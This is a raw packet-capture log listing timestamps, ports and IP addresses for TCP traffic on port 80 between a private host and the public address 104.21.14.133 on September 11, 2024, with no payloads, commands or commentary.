Sep 11, 2024 18:23:57.885484934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.885503054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885509014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885514975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885521889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885528088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885653019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.886477947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886485100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886492014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886598110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.886615992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886621952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886629105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886636019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886641026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.886842012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.890731096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890737057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890743017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890749931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890754938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890760899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890774965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890779972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890785933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.890867949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.891000986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891007900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891015053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891022921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891027927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891033888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891041994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891047001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891052961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891060114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891064882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891072035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891074896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.891074896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.891082048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891128063 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.891129017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.891732931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891740084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891746044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891752958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891757965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891763926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891777039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891782045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891788006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891794920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891799927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891815901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891824007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891829967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.891855955 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.891855955 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.891952991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.892159939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892165899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892173052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892179966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892185926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892191887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892206907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892214060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892220020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892226934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892232895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892239094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892245054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892252922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892257929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892280102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.892457008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.892481089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892488956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892494917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892502069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892509937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892514944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892520905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892529011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892534018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.892564058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.892564058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.892577887 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.893173933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893182039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893187046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893193007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893201113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893205881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893213034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893220901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893225908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893233061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893240929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893245935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893260002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.893260002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.893291950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.893342972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893352985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893357992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893364906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893372059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893378019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893393993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893402100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893407106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893413067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893446922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.893551111 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.893565893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893573046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.893898964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.894236088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894246101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894252062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894258976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894265890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894270897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894278049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894284964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894395113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.894418955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894427061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894432068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894438982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894448042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894543886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894552946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894557953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894563913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894572973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894578934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894584894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894592047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894598007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894604921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894613028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894614935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.894614935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.894619942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.894681931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.895476103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.895483017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.895494938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.895605087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.896157026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896166086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896172047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896178961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896186113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896190882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896204948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896213055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896218061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896224976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896233082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896238089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896244049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.896281004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.896281004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.896377087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.897272110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897278070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897284985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897389889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897394896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897401094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897408962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897414923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897422075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.897439957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.897536993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.898252964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898258924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898266077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898396969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.898422003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898428917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898436069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898442984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898447990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898453951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898567915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.898586035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898593903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898600101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898607969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898612976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898619890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898634911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898675919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898682117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.898684025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898689985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898696899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898704052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898710012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898716927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.898762941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.898806095 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.899188995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899194956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899200916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899209976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899214983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899220943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899235964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899240971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899246931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899255991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899261951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899269104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899276972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899282932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.899303913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.899390936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.900233030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900239944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900245905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900254011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900259018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900264025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900279999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900285959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900293112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900346994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.900398016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900403976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900410891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900418043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900424004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900429010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900443077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900448084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900454044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900460005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900465965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900473118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900480986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900486946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900516033 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.900635004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.900989056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.900995970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901002884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901010990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901016951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901022911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901036978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901196003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.901211023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901221037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901226997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901233912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901241064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901324034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.901431084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901437998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901446104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901453018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901458979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901463985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901479006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901484013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901492119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901499987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901504993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901513100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.901542902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.901582956 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.902086020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902091980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902097940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902105093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902110100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902117014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902131081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902137041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902143002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902148962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902154922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902160883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902168989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902174950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902182102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902185917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.902208090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.902230024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.902257919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.902729034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902735949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902741909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902749062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902755976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902761936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902776957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902781963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902787924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902848005 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.902906895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902915001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902920008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.902925014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.903059959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.903892040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.903898001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.903904915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904058933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904064894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904122114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.904122114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.904136896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904145002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904253960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.904736042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904953003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.904983997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904990911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.904997110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.905004025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.905009985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.905015945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.905033112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.905040026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.905046940 CEST	80	49710	104.21.14.133	192.168.2.5
